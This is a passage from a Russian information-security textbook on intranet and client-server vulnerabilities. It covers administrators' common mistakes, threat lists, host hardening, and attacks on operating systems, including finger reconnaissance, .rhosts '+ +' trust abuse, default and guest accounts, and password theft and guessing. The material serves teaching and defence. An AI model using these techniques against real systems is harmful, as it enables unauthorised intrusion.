	не устанавливают "заплатки" (patches) - особенно это касается продуктов Microsoft Office, Microsoft Internet Explorer и Netscape;
	устанавливают защиту экранов (screen savers) или компьютерные игры без проверки их защищенности;
	не делают резервные копии и не проверяют их;
	соединяются через модем с телефоном с компьютера, который также подключен к локальной сети.
Ошибки, которые чаще всего допускает руководство организации низшего звена:
	не оценивает стоимости информационных активов и забывает о репутации своей организации;
	разрешает специально не обученным людям поддерживать защиту, не повышает их квалификацию или не создает им условия для самообразования;
	не понимает взаимозависимости защиты информации и проблем бизнеса - оно осознает необходимость лишь физической защиты, но не предвидит последствий нарушения ИБ;
146
Информационная безопасность открытых систем
	не замечает функциональных аспектов защиты - ставит лишь часть "заплат" и думает, что таким образом все проблемы снимаются;
	полагается в основном только на МЭ;
	реагирует на происшествия не оперативно, применяет только краткосрочные меры защиты, в результате чего проблемы через некоторое время возникают снова;
	полагает, что проблема исчезнет сама собой, если ее просто проигнорировать.
Ошибки, которые чаще всего допускают информационные работники:
	соединяются с другими сетями без предварительной подготовительной работы по ее защите и устранению ненужных сервисов и установке "заплаток" для нужных сервисов, где могут существовать лазейки для злоумышленников;
	подключают тестовые системы к другим сетям с паролями и учетными записями по умолчанию;
	не обновляют системы при выявлении в них уязвимостей или выпуске новых версий;
	используют Telnet и другие протоколы без встроенного шифрования для управления системами, маршрутизаторами, МЭ и инфраструктурой открытых ключей;
	раздают пользователям пароли по телефону или заменяют пароли по телефонному звонку или личной просьбе, когда это официально не разрешено;
	не создают или не тестируют резервные копии;
	используют сервисы типа ftpd, telnetd, finger, rpc, mail, rservices, которыми могут воспользоваться и злоумышленники;
	устанавливают МЭ с настройками, допускающими вредоносный и опасный трафик, как входящий, так и исходящий;
	не используют или не обновляют средства обнаружения компьютерных вирусов;
	не обучают пользователей, чего опасаться и что делать, когда они обнаруживают возможную угрозу ИБ интранета организации;
	позволяют необученным людям без соответствующего сертификата быть ответственными за защиту важных систем.
Систематизируем причины, способствующие атакам на открытые системы, следующим образом.
1.	Уязвимость основной архитектуры интранета (клиент-сервер), подразумевающая наличие уязвимостей во всех трех составляющих этой архитектуры - в клиентском и серверном обеспечении и в каналах связи, их соединяющих.
2.	Наличие слабостей в системных утилитах, командах и сетевых сервисах интранет, что рассматривается на примерах Telnet, FTP, NFS, DNS, NIS, World Wide Web, команды удаленного выполнения, Sendmail и электронной почты, а также ряде других утилит.
3.	Наличие слабостей в современных технологиях программирования, используемых при проектировании и функционировании интранета, его базовых механизмов и сервисов.
4.	Ошибки, возникающие при проектировании, реализации и использовании различного ПО, используемого в открытых системах (основными здесь являются, без сомнения, сами ОС и реализации сетевых прокотолов в этих ОС).
5.	Уязвимость для атак сетевыми вирусами.
Рассмотрим перечисленные уязвимости открытых систем более подробно.
3. Уязвимость открытых систем на примере интранета
147
3.3.	Уязвимость архитектуры клиент-сервер
В основе общения по открытым сетям (в том числе и в интранете) лежит технология клиент-сервер. Определений этой архитектуры очень много. Одно из них дано в гл. 1 учебника. Напомним, что в обшем случае это такой способ проектирования ИС, при котором она может быть рассмотрена как совокупность некоторого числа систем двух видов - клиентской и серверной.
Как уже отмечаловь выше, клиентская часть системы инициирует запросы, а серверная обрабатывает запросы и при необходимости генерирует ответы клиенту. В общем случае серверная часть состоит из нескольких элементов - ОС, СУБД, прикладной системы, в которой реализована общая бизнес-логика для всех клиентов. ОС предоставляет необходимые сервисные возможности и программные интерфейсы API для СУБД, которая в своей БД обрабатывает и выполняет запросы прикладной системы.
Кроме высокого быстродействия и надежности, архитектура клиент-сервер дает много преимуществ и в части технического обеспечения. Во-первых, сервер оптимизирует выполнение функций обработки данных, что избавляет от необходимости оптимизации рабочих станций. Рабочая станция может быть укомплектована не очень быстрым процессором, и тем не менее сервер позволит быстро получить результаты обработки запроса. Во-вторых, поскольку рабочие станции не обрабатывают все промежуточные данные, существенно снижается нагрузка на сеть.
В зависимости от реализации прикладного уровня принято разделять классическую (или двухзвенную) и многозвенную архитектуру клиент-сервер [42]. В первом случае имеется выделенный сервер, который полностью обрабатывает запросы некоторого числа клиентов. Типичным примером такого сервера является сервер БД. Уровень приложений отсутствует или существует, но в нем реализована минимальная логика работы. При этом бизнес-логика целиком реализуется на стороне клиента системы. Такой подход требует высоких аппаратных затрат для оборудования сервера. Также должна обеспечиваться бесперебойная работа самого сервера, что требует очень серьезного подхода к его администрированию и разработке ПО для него.
Чтобы устранить эти и некоторые другие недостатки, была создана многозвенная модель. В этом случае существует несколько серверов, которые дифференцируются по своим функциям, причем каждый из них может быть как сервером, так и клиентом. Обычно эти промежуточные серверы называются серверами приложений, так как с ними взаимодействует прикладное ПО. Эти серверы обслуживают ограниченное число различных запросов, которые определяются необходимостью работы конкретных приложений. В сложной системе серверы приложений маршрутизируют свои запросы к разным главным серверам, оптимально распределяя их загрузку. Одним из примеров многозвенной архитектуры может служить веб-сервер, который используется для доступа клиентов к БД с помощью веб-браузера. Сервером приложений является сам веб-сервер, а главным сервером служит сервер БД. Выбирать многозвенную архитектуру следует в тех случаях, когда в системе присутствует большое число клиентов, система должна легко масштабироваться, возможны частые изменения логики функционирования системы и т. п.
Самым распространенным примером многозвенной архитектуры является трехзвенная модель. Уровень приложений реализован в виде отдельного элемента, где за
148
Информационная безопасность открытых систем
ключена бизнес-логика. Ее необходимые элементы могут использовать клиенты. В ОС семейства Windows Server 2003 для оптимизации работы серверов приложений применяется динамическая балансировка сетевой нагрузки (Network Load Balancing), которая автоматически распределяет клиентские запросы по равноценным объектам на нескольких машинах, и программная кластеризация для серверов приложений со встроенным балансированием.
В современных ИС, построенных в архитектуре клиент-сервер, обычно выделяют три уровня:
	уровень представления (реализующий функции ввода и отображения данных);
	прикладной уровень (отвечающий за универсальные сервисы, а также функции, специфичные для определенной предметной области);
	уровень доступа к информационным ресурсам (выполняющий фундаментальные функции хранения и управления информационно-вычислительными ресурсами).
Связь между уровнями обеспечивает менеджер транзакций и коммуникаций. Применение технологий Интернета/интранета внесло свои изменения в эту классическую схему, расположив на уровне представления универсальный клиент - вебнавигатор (возможно, пополненный прикладными апплетами) и возложив функции информационного концентратора (которые целесообразно объединить с обязанностями менеджера транзакций и коммуникаций) на веб-сервер.
Клиентские рабочие места связываются с веб-сервером и с локальными и глобальными сетями. Аппаратной платформой клиентских систем служат как полнофункциональные компьютеры (стационарные и/или мобильные), так и более простые коммуникаторы.
Серверные системы большинства организаций разнесены по нескольким производственным площадкам, соединенным, как правило, каналами связи общего пользования. С точки зрения пользователей такая разнесенность незаметна, поскольку они взаимодействуют с веб-сервером, однако с точки зрения защиты данное обстоятельство весьма существенно. Программная конфигурация клиентских рабочих мест не является жесткой. Ее могут динамически пополнять апплеты или иные активные агенты, получаемые по сети.
Угрозы в сетевой среде можно разделить на следующие виды:
	прослушивание сети;
	изменение корпоративных потоков данных;
	воздействие на инфраструктурные сетевые сервисы;
	подделка сетевых пакетов;
	генерация и посылка аномального трафика (пакетов);
	отказ от совершенных действий.
Прослушивание сети может предприниматься злоумышленниками для достижения следующих целей:
	перехвата пересылаемых сведений;
	перехвата аутентификационной информации;
	анализа трафика.
Изменение корпоративных потоков данных влечет за собой следующие нарушения безопасности:
	кражу, переупорядочение, дублирование информации;
	изменение и вставке собственных данных (нелегальный посредник).
3. Уязвимость открытых систем на примере интранета	149
Воздействие на инфраструктурные сетевые сервисы означает:
	вмешательство в работу сервиса имен;
	изменение маршрутов корпоративных потоков информации.
Подделка сетевых пакетов может принимать следующие формы:
	подделка адресов;
	перехват соединений;
	имитация работы других серверов.
Генерация и посылка аномальных пакетов представляют собой атаки на доступность, получившие в последнее время относительно широкое распространение.
Наконец, отказ от совершенных действий - это угроза прикладного уровня, она реальна в первую очередь в силу распределенности систем клиент-сервер.
Список наиболее очевидных угроз в архитектуре клиент-сервер выглядит следующим образом:
	пассивный перехват передаваемых запросов;
	модификация (активный перехват) передаваемых запросов;
	пассивный перехват ответов клиенту;
	модификация ответов клиенту;
	выдача злоумышленником себя за определенный сервер;
	выдача злоумышленником себя за определенного клиента;
	перегрузка сервера выдачей большого числа случайных запросов, что может привести к отказу обслуживания новых клиентов;
	случайные сбои и ошибки функционирования аппаратуры и программных элементов сервера;
	злоумышленные действия зарегистрированных клиентов;
	другие виды атак на ПО сервера.
Сформулируем основные причины появления этих угроз. К ним в первую очередь можно отнести следующие:
	отсутствие гарантии конфиденциальности и целостности передаваемых данных;
	недостаточный уровень проверки участников соединения;
	недостаточная реализация или некорректная разработка политики безопасности;
	отсутствие или недостаточный уровень защиты от несанкционированного доступа (антивирусы, контроль доступа, системы обнаружения атак);
	существующие уязвимости используемых ОС, ПО, СУБД, веб-систем и сетевых протоколов;
	непрофессиональное и слабое администрирование систем;
	проблемы при построении межсетевых фильтров;
	сбои в работе компонентов системы или их низкая производительность;
	уязвимости при управлении ключами.
Защите подлежат все составляющие архитектуры клиент-сервер:
1) хосты: клиент - его аппаратная платформа, базы данных и ПО (в том числе и ОС) - и сервер - его аппаратная платформа, средства администрирования, управления передачей данных и другое ПО;
2) оборудование и линии связи, соединяющие клиентов и серверы.
Как уже отмечалось выше, хостом или узлом в компьютерной сети обычно называют устройство, выполняющее функции поддержки этой сети и имеющее свой соб
150	Информационная безопасность открытых систем
ственный адрес (в IP-сети как основы интранета имеется в виду IP-адрес). Хостом может быть сервер, клиент, маршрутизатор, устройство со средством защиты и т. п.
Выделим основные причины уязвимости хостов интранета.
	Открытость Интернета, свободный доступ к информации по организации сетевого взаимодействия, протоколам и механизмам защиты.
	Наличие ошибок в ПО, ОС и утилитах, которые открыто публикуются в сети.
	Разнородность используемых версий ПО и ОС, которые совместно не могут обеспечить хорошую защиту хоста.
	Сложность организации защиты межсетевого взаимодействия между отдельными хостами.
	Ошибки конфигурирования систем и средств защиты, устанавливаемых на хостах;
	Неправильное или ошибочное администрирование систем, установленных на хостах.
	Несвоевременное отслеживание и выполнение рекомендаций специалистов по защите и анализу случаев вторжения для ликвидации лазеек и ошибок в ПО.
	"Экономия" на средствах и системах обеспечения безопасности или полное их игнорирование.
	Умолчание о случаях нарушения безопасности своего хоста или сети.
В интранете с неопределенной ПБ при подключении к открытым сетям часто присутствуют хосты со многими интерфейсами (multi-homed hosts). Неправильно сконфигурированные МЭ и недостаточная внутренняя сегментация облегчают атаку.
Незащищенные хосты с сетевыми интерфейсами, активными для нескольких сетей, вообще не нужно даже взламывать. Злоумышленник запускает программу finger, разрешающую сбор некоторой информации в интранете. Программа собирает данные о пользователях, хостах и т. д., что помогает ему выявить уязвимые хосты. После применения finger к root@host, bin@host и daemon@host часто определяется и ОС хоста.
Для понимания дальнейшего изложения кратко поясним термин "демон”, который будет и далее часто встречаться в учебнике. Это служебные программы в Unix-системах, которые пользователь напрямую вызвать не может, но они работают всегда, "прослушивая" каждый свои порты и обслуживая входящие запросы. При открытии или активации некоторых из таких портов для установления связи демоны инициируют сеанс связи. Среди подобных программ наиболее известны демоны FTP, Telnet- и веб-служб. Например, демон веб-сервера (HTTPD) - это программа, обычно прослушивающая ТСР-порт 80 и воспринимающая запросы по протоколу HTTP. Демон веб-сервера обрабатывает каждый HTTP-запрос и возвращает в ответ вебстраницу.
Мероприятия по защите хостов проводятся для предотвращения в первую очередь атак, цель которых - перехват данных, "отказ в обслуживании" или проникновение злоумышленника в ОС. Перечислим наиболее простые и в то же время действенные меры.
	Запретить обработку ICMP Эхо-запросов, направленных на широковещательный адрес.
	Запретить обработку ICMP-сообщений Redirect, Address Mask Reply, Router Advertisement, Source Quench.
3. Уязвимость открытых систем на примере интранета
151
	Если хосты интранета конфигурируются динамически сервером DHCP, использовать на DHCP-сервере таблицу соответствия МАС- и IP-адресов и выдавать хостам заранее определенные IP-адреса.
	Отключить все ненужные сервисы TCP и UDP, кроме явно необходимых (это означает перевод соответствующего порта из состояния LISTENING в CLOSED).
	Если входящие соединения обслуживаются демоном inetd, то использовать оболочки TCP-wrappers или заменить inetd на демон типа xinetd или tcpserver, позволяющие устанавливать максимальное число одновременных соединений, список разрешенных адресов клиентов, выполнять проверку легальности адреса через DNS и регистрировать соединения в лог-файле.
	Использовать программу типа tcplogd, позволяющую отследить попытки скрытного сканирования (например, полуоткрытыми соединениями).
	Использовать статическую ARP-таблицу узлов сети.
	Применять средства зашиты для используемых на хосте прикладных сервисов.
	Использовать последние версии и обновления ПО, следить за бюллетенями по безопасности, выпускаемыми производителями и исследовательскими центрами.
Средства защиты клиент-серверных технологий - это средства, предназначенные для использования в таких системах клиент-сервер, как доступ к БД, системы банк-клиент и т. п., и имеющие в своей основе принцип раздельного функционирования систем обработки запросов и систем криптографической защиты информации. Для защиты систем клиент-сервер наиболее важными представляются следующие средства:
	аутентификация;
	разграничение доступа;
	межсетевое экранирование;
	шифрование;
	контроль целостности.
Защита в двух указанных типах архитектур клиент-сервер различается. В первом случае основные средства безопасности должны помешаться на сервере, обладать повышенной отказоустойчивостью и иметь возможность обслуживать большое число клиентов. На клиентском месте средства безопасности в основном не должны допускать проникновение защищаемой информации во внешний мир, а также обеспечивать проверку подлинности сервера. В многозвенной архитектуре средства безопасности должны быть размещены на серверах приложений, а в случае необходимости -на главных серверах (если каналы связи между различными серверами проходят по физически незащищенной зоне). Часто удобно создавать отдельно выделенный сервер безопасности как специальный тип сервера приложений (этот тип приложений будет рассмотрен далее).
Открытые системы клиент-сервер подкупают администраторов ИС исключительно простым доступом к корпоративной информации, но настораживают сложностью решения задач защиты данных в связи с разнородностью вычислительных компонентов - аппаратных платформ, ОС, СУБД и прикладного ПО [43]. Когда закрытая хост-система интегрируется с интранетом и серверами БД, ее пользователи страдают не столько от недостатка средств защиты, сколько от их избытка и несовместимости. В дополнение к собственным средствам защиты для мейнфреймов появляются системы зашиты мониторов транзакций, интрасетей и серверов БД. В таких условиях
152
Информационная безопасность открытых систем
был бы весьма эффективен продукт, выполняющий функции "зонтика безопасности” над всей компьютерной системой. К сожалению, подобного продукта на рынке пока нет.
Проблема не только в том, чтобы добиться согласованной работы средств защиты различных звеньев, но и упростить жизнь рядовых пользователей, дабы не заставлять их в поисках нужных данных пробираться через множество заградительных кордонов.
В распределенных вычислительных средах, в отличие от централизованных, решение проблемы безопасности усложняется, что обусловлено рядом факторов. РВС имеет несколько точек входа, через которые осуществляется доступ к данным. Это могут быть файл-серверы, рабочие станции и серверы БД. Чем больше в системе таких входов, тем острее проблема безопасности. Открытая архитектура систем клиент-сервер предполагает, что пользователи в пределах своих полномочий имеют возможность делать с БД все, что угодно, т. е. не только читать данные, но и модифицировать ее структуру, дописывая новые таблицы, хранимые процедуры и т. п.
Уровень защиты всей системы определяется степенью защиты ее самого уязвимого звена, которым, как правило, являются включенные в сеть персональные компьютеры. Многие производители СУБД, стараясь облегчить жизнь конечных пользователей, перекладывают функции контроля доступа к данным на ОС. Основная идея сводится к минимизации средств защиты в случае доступа к данным с Unix-машины, исходя из того, что в ОС Unix реализована надежная защита информации.
РВС нередко состоит из нескольких БД расположенных на разных серверах. БД каждого сервера, являясь составной частью одной общей БД, в то же время функционирует самостоятельно и должна иметь свой собственный механизм безопасности.
Бывает, что данные из одной таблицы хранятся на разных физических устройствах, т. е. особо важная информация может быть фрагментированна. Здесь возможны два варианта: информация хранится либо по строкам, либо по столбцам. Если злоумышленник доберется до части данных, то, во-первых, есть вероятность, что он не сможет из них извлечь полезных для себя сведений, и, во-вторых, в случае своевременного обнаружения его действий у администратора есть возможность защитить от него оставшиеся фрагменты данных. Маршрут доступа к данным программируется посредством задания связей между хранимой по фрагментам информации: указываются реквизиты пользователя (регистрационное имя и пароль), тип сетевого протокола и имя БД. К сожалению, все эти параметры приходится описывать в тексте сценариев. Чтобы засекретить указанную информацию, пароли можно хранить в словаре данных в зашифрованном виде.
Наличие нескольких внутренних БД в РВС, с одной стороны, усложняет проблему безопасности, а с другой - упрощает ее. Поскольку любая БД администрируется автономно, для каждой из них можно реализовать свой собственный способ защиты. Кроме того, в такой архитектуре легко изолировать и обслуживать конфиденциальную информацию. Когда злоумышленник взламывает защиту БД, он получает доступ к содержимому только одной БД, а не ко всей системе в целом.
Для планирования общей системы защиты в распределенной среде полезно наметить уровни обороны. Чтобы добраться до данных, например, с помощью штатных программ администрирования, пользователю необходимо сначала попасть в компьютер (уровень защиты рабочей станции), потом в сеть (сетевой уровень защиты), а уж
3. Уязвимость открытых систем на примере интранета
153
затем на сервер БД. При этом оперировать конкретными данными пользователь сможет лишь при наличии соответствующих прав доступа (уровень защиты СУБД). Для работы с БД через клиентское приложение придется преодолеть еще один барьер -уровень защиты приложения.
Система защиты должна предоставлять разные уровни доступа к данным: от самого простого (и распространенного), когда всем уполномоченным пользователям предоставляется возможность чтения всех таблиц БД с неконфиденциальной информацией, до наиболее сложного, при котором доступ к данным организован на уровне отдельных строк или столбцов таблиц. Между двух полюсов лежат промежуточные уровни: выборочное чтение и выборочная модификация. В первом случае пользователи могут только просматривать, а во втором - просматривать и редактировать записи из ограниченного списка таблиц, который заранее определяется администратором системы.
Какие же средства обеспечения безопасности есть в арсенале администратора системы клиент-сервер?
Во-первых, это разнообразные коммерческие продукты третьих фирм.
Во-вторых, это встроенные возможности СУБД, которые администратор может и должен использовать в целях зашиты информации. Их ценность в том, что контроль доступа происходит постоянно, а не только в момент загрузки приложения. Контроль доступа к БД может быть полностью реализован на сервере. Клиентское приложение просто считывает пароль пользователя и отсылает его на сервер. Далее СУБД по своим внутренним таблицам пользователей проверяет, имеет ли право данный пользователь работать в БД. В случае положительного ответа формируется соединение с рабочей станцией, в противном случае выдается предупреждение и связь с сервером не устанавливается. В крупных ИС число таблиц может достигать нескольких сотен, и задавать права доступа по всем таблицам для каждого пользователя утомительно. Этот процесс упрощается за счет функций предоставления прав доступа группам пользователей с последующей корректировкой индивидуальных прав. Принадлежность пользователя к конкретной группе определяется типом выполняемых им функций, или ролей, в системе (например, группа разработчиков, менеджеров, операторов, участников тестирования). К сожалению, во многих СУБД минимальным элементом данных, для которого возможен контроль доступа, является таблица. На практике же часто требуется контролировать доступ по отдельным записям или полям. В этом случае проблему приходится решать либо на уровне приложения, например с помощью табличных фильтров, либо за счет модификации структуры БД путем нормализации таблиц, либо комбинируя оба способа.
Третье решение - применение средств защиты на уровне приложений - наиболее сложный и дорогой вариант, так как реализовать его может только сам разработчик приложения. Этот метод дает более строгий контроль доступа к данным, поскольку позволяет заложить в систему хитроумные алгоритмы всевозможных проверок, отличные от стандартных, хорошо известных злоумышленникам.
Некоторые разработчики коммерческих приложений вместе с основными продуктами поставляют собственные программы администрирования своих же приложений. При этом администратору системы не нужны внешние программы администрирования, так как вся необходимая информация (списки пользователей, их пароли и права доступа) контролируется упомянутыми утилитами. Средствами утилиты админист
154
Информационная безопасность открытых систем
рирования, которой известна структура меню курируемого приложения, можно открыть или закрыть для его пользователей в соответствии с их ролями соответствующие пункты меню. На уровне интерфейса запрещенные пункты меню отмечаются другим цветом или вообще отсутствуют.
Если с помощью встроенных средств администрирования СУБД контроль доступа на уровне отдельных записей или полей таблиц обеспечить не удается, то это можно сделать на уровне административной утилиты, настроив фильтры типа пользова-тель/табличный параметр, которые будут накладываться на таблицы во время их индикации в основном приложении.
Чтобы обеспечить контроль целостности структуры БД, прикладная система или утилита администрирования может проверить текущее состояние БД и сравнить его с эталоном (аналогом контрольной суммы), характеристика которого жестко "зашита" в код приложения. При обнаружении несовпадения в аудиторском журнале будет сделана соответствующая запись или приложение само перестанет работать. Например, легко подменить стандартную процедуру одноименной новой, которая будет делать то же, что и старая, плюс дополнительные функции, полезные хакеру.
На прикладном уровне удобно отслеживать также и те ограничения, которые накладывает поставщик ПО, продавая конкретную конфигурацию системы. Типичный вариант: число одновременно работающих пользователей не должно превышать указанного в лицензии.
Особую роль играют аудиторские журналы, но не те, которые ведутся самой СУБД, а собственные журналы приложения, где фиксируются ошибки и сообщения прикладной системы, а также информация обо всех действиях пользователей. Анализ этих журналов позволяет произвести статистический учет ошибок, установить, какие функции системы пользуются наибольшей популярностью, составить профиль активности пользователей (с какими данными они работают, сколько времени на это тратят и т. д.).
Наконец, на прикладном уровне можно реализовать традиционные защитные мероприятия, касающиеся процедуры регистрации пользователей, работы экранных заставок и блокираторов клавиатуры.
И четвертый подход - реализация централизованных систем защиты. Программы управления безопасностью в РВС - мониторы безопасности - используют глобальные таблицы безопасности (ГТБ), в которых хранятся пользовательские пароли для доступа ко всем узлам системы. Если пользователь правильно вводит первый пароль, от ввода остальных он освобождается. Всю работу за него выполняет монитор, который следит за тем, к какой подсистеме обращается пользователь, выбирает нужный пароль из таблицы и передает его на вход соответствующей подсистемы. В сложных сетевых средах для реализации процедур однократной регистрации применяются также доверительные отношения между серверами разных доменов.
Самый простой и распространенный способ - это централизованный контроль средств безопасности, впервые реализованный в продуктах RACF и ACF2 и позднее заимствованный другими программами. Суть его в том, что для всех элементов РВС используется единый пароль, который после ввода или замены тиражируется по всем узлам системы. Недостаток этой схемы в следующем: при "зависании" процессора, на котором работает процедура тиражирования, блокируется работа всей системы.
3. Уязвимость открытых систем на примере интранета
155
Кроме того, если кто-то сумеет перехватить (дешифровать, угадать) пароль на одном узле, то получит свободный доступ к системе в целом.
Другой, более надежный, но и более сложный в реализации способ заключается в том, что ГТБ доступны всем подчиненным системам. В результате можно отказаться от унификаций паролей на всех подсистемах и контролировать доступ ко всем ресурсам из любого узла. При таком подходе администратор только раз настраивает пароли пользователей для всех уровней (сетевого, ОС и сервера БД). Эти первичные пароли запоминаются в ГТБ и затем употребляются монитором безопасности, сопровождающим пользователя в его перемещении по узлам РВС. В дальнейшем пароли каждого уровня не требуется менять вручную, поскольку они автоматически генерируются имеющимися на более низких уровнях подсистемами защиты. Обновленные пароли снова передаются "наверх" в ГТБ. Таким образом, на всех узлах системы действуют уникальные пароли, которые сгенерированы машинным способом и с трудом поддаются подбору. Несмотря на то что машинные пароли на практике никто не вводит вручную, системы защиты каждого уровня все же могут администрироваться индивидуально, а не только из центрального пункта. Недостаток описанной схемы заключается в том, что сбой централизованной системы зашиты, работающей на выделенном процессоре, блокирует доступ всех пользователей к системе в целом. Для борьбы с этой проблемой приходится прибегать к "горячему" резервированию, т. е. хранить копии таблиц безопасности на резервной машине. В этом случае отказ одного процессора будет активизировать работу другого.
3.3.1.	Конфигурация системы
Ошибки в конфигурации системы, также очень часто являющиеся причинами успешности атак на открытые системы, можно классифицировать следующим образом [39].
1.	Конфигурации по умолчанию. Большинство систем поставляется покупателям с конфигурациями, установленными по умолчанию и облегчающими использование систем. К сожалению, "облегчающие использование" одновременно означает и "легко взламываемые". Практически любой компьютер, поставляемый с ОС Unix или Windows, может быть легко взломан за счет установок по умолчанию. Если после установки системы эти значения не менялись, то система с большей долей вероятности окажется взломанной.
Во многих ОС имеются специфические имена пользователей. Например, в Unix-системах всегда имеется пользователь root, на VMS - system, в Netware - supervisor. Эти пользователи создаются во время инсталляции системы и являются пользователями по умолчанию. Они могут также быть созданы без пароля или с одним и тем же паролем для каждой инсталляции. Поэтому важно, чтобы их пароли были впоследствии изменены.
Еще пример имени пользователя, задаваемого при установке системы -Administrator для Windows NT и bin для некоторых ОС Unix. Хотя при обычных условиях в случае попытки войти в систему с использованием такого имени можно получить лишь информацию о версии ОС, некоторые реализации FTP позволяют пользователю с именем bin прочитать файл паролей.
Злоумышленник может также попробовать войти в систему с гостевым паролем: quest, demo, visitor и т. п.
156
Информационная безопасность открытых систем
2.	Ленивые администраторы. Огромное количество компьютеров сконфигурировано с пустым паролем root/administrator. Причина в том, что администраторы слишком ленивы для того, чтобы сразу сконфигурировать компьютер. Они хотят быстрее включить и запустить его с минимумом действий. К сожалению, позднее они устраняют эту проблему с паролем, позволяя нарушителям легко получать несанкционированный доступ к компьютеру. Одна из первых вещей, которую сделает нарушитель при проникновении в сеть, заключается в том, что он просканирует все компьютеры на наличие пустых паролей.
3.	Создание лазейки. Фактически все программы можно сконфигурировать для запуска в незащищенном режиме. Временами администраторы неумышленно открывают уязвимости в компьютере. Многие руководители рекомендуют администраторам выключить все, в чем нет необходимости на компьютере. Отметим, что системы анализа защищенности могут, как правило, находить эти "дыры" и уведомлять администратора.
4.	Доверенные связи. Нарушители часто "прыгают по островкам" по всей сети, используя доверенные связи. Доверенным по отношению к какому-либо хосту называется сетевой компьютер, доступ на который пользователю с данного хоста разрешен без его аутентификации и идентификации с помощью сервисов удаленного доступа. Введение доверенных отношений, например в Unix, реализуется в файлах —user/.rhosts, /etc/host.equiv, ~user/.shosts (при установленном SSH). К этим файлам обращаются демоны in.rlogind, in.rshd, sshd и т. д. В файлах оговорены пары "компьютер - пользователь", которые могут входить в систему минуя схему аутенфикации. Пара '+ +' позволяет вход любого пользователя с любого компьютера без пароля. Наличие файла /.rhosts {+ +} предоставляет возможность войти в систему как root или smtp (uid=0, gid=O). Ограничение на вход пользователя root только с консоли не запрещает удаленный вход пользователя smtp, a /usr/bin/.rhosts дает вход для пользователя bin. Даже специальные программы - оболочки сервисов TCP-wrappers и файлы hosts.equiv, .rhosts и .shosts не уберегут сеть от атак на основе злоупотребления доверием между хостами. Например, если атакующий использует "дыры" скриптов CGI для просмотра файла hosts.allow, то он может установить, с какого узла *.trusted.com разрешены все соединения с портами ftp и telnet. После этого он пытается получить доступ к любому хосту trusted.com.
Доверенные отношения могут быть конфигурированы и между доменами, управляемыми, например, Microsoft Windows NT/2000/Server 2003. Эти доверенные отношения позволяют доверяемому домену (trusted domain) обращаться к ресурсам на доверяющем домене (trusting domain). Windows 2000 и NT содержат уязвимость в этой особенности, которая позволяет нападающему с административными привилегиями на доверяемом домене поднять привилегии на любом доверяющем домене. Уязвимость позволяет для доверенного домена связать любой идентификатор защиты с любой группой защиты в доверяющем домене. Злонамеренный администратор или нападающий, получивший административные привилегии на доверенном домене, может эксплуатировать эту уязвимость, чтобы получить управление над доверяемым доменом. Например, доверенный домен может связывать местного (в пределах доверенного домена) пользователя с группой администратора на доверяемом домене. Пользователь тогда будет иметь привилегии группы администратора в пределах доверяющего домена.
3. Уязвимость открытых систем на примере интранета
157
3.3.2.	Уязвимость операционных систем
Внутренняя структура современных ОС чрезвычайно сложна, поэтому проводить адекватную политику безопасности и защищать ее гораздо труднее, чем в случае СУБД. Это обусловлено большим числом различных типов защищаемых объектов и информационных потоков в современных ОС. Операционная система имеет сложную внутреннюю структуру и поэтому задача построения адекватной политики безопасности для ОС решается сложнее, чем для СУБД.
Наилучшие результаты атак достигаются при использовании самых простых методов взлома через выявленные лазейки в защите ОС - чем проще алгоритм атаки, тем больше вероятность того, что атака пройдет успешно. Возможность практической реализации той или иной атаки на ОС в значительной мере определяется архитектурой и конфигурацией ОС. Но есть атаки, которые могут быть применены практически к любой ОС.
1.	Кража пароля:
	подглядывание за легальным пользователем, когда тот вводит пароль (даже если во время ввода пароль не высвечивается на экране, его можно легко узнать, следя за перемещением пальцев пользователя по клавиатуре);
	получение пароля из файла, в котором он был сохранен "ленивым" пользователем, не желающим каждый раз затруднять себя вводом пароля при сетевом подключении (как правило, такой пароль хранится в незашифрованном виде);
	поиск пароля, записанного на календаре, в записной книжке или на оборотной стороне компьютерной клавиатуры (особенно часто подобная ситуация встречается, когда администратор заставляет пользователей применять длинные, трудно запоминаемые пароли);
	кража внешнего носителя парольной информации (дискеты или электронного ключа, на которых хранится пароль пользователя для входа в ОС);
	перехват пароля программной закладкой.
2.	Подбор пароля:
	полный перебор всех возможных вариантов пароля (метод "грубой силы");
	оптимизированный перебор вариантов пароля: по частоте встречаемости символов, с помощью словарей наиболее часто встречающихся паролей, с привлечением знаний о конкретном пользователе, с использованием сведений о существовании эквивалентных паролей - тогда из каждого класса эквивалентности опробуется всего один пароль, что значительно сокращает время перебора.
3.	Сканирование "жестких" дисков компьютера: злоумышленник последовательно пытается обратиться к каждому файлу, хранимому на "жестких" дисках интранета (если объем дискового пространства достаточно велик, можно быть вполне уверенным, что при описании доступа к файлам и каталогам администратор допустил хотя бы одну ошибку, в результате чего все такие каталоги и файлы будут прочитаны взломщиком); чтобы скрыть следы, злоумышленник может выступать под чужим именем - например, под именем легального пользователя, чей пароль ему известен.
4.	Сборка "мусора" с дисков компьютера и в оперативной памяти: если средства ОС позволяют восстанавливать ранее удаленные объекты, злоумышленник может получить доступ к объектам, удаленным другими пользователями, просмотрев содержимое их "мусорных корзин".
158
Информационная безопасность открытых систем
5.	Превышение полномочий, т. е. используя ошибки в ПО или в администрировании ОС, злоумышленник получает полномочия, превышающие те, которые предоставлены ему согласно действующей ПБ:
	запуск программы от имени пользователя, имеющего необходимые полномочия, или в качестве системной программы (драйвера, сервиса, демона и т. д.), выполняющейся от имени ОС;
	подмена динамически загружаемой библиотеки, используемой системными программами, или изменение переменных среды, описывающих путь к таким библиотекам;
	модификация кода или данных подсистемы защиты ОС.
6.	Отказ в обслуживании (целью этой атаки является частичный или полный вывод ОС из строя):
	захват ресурсов, т. е. программа злоумышленника производит захват всех имеющихся в ОС ресурсов, а затем входит в бесконечный цикл;
	бомбардировка запросами - программа злоумышленника постоянно направляет ОС запросы, реакция на которые требует привлечения значительных ресурсов интранет;
	использование ошибок в ПО или администрировании.
Успех реализации того или иного алгоритма атаки на практике в значительной степени зависит от архитектуры и конфигурации конкретной ОС - объекта атаки.
Если ПО интранета не содержит ошибок и если ее администратор строго соблюдает адекватную политику безопасности, рекомендованную разработчиками ОС, то все перечисленные виды атак являются малоэффективными. Дополнительные меры, которые следует предпринять для повышения степени безопасности функционирования интранета, в значительной степени зависят от конкретной ОС, под управлением которой работает данный интранет. Однако приходится признать, что независимо от принятых мер полностью устранить угрозу взлома интранета на уровне ОС невозможно. Поэтому ПБ нужно строить так, чтобы преодоление рубежа защиты, создаваемого средствами ОС, не позволило злоумышленнику нанести серьезный ущерб интранету.
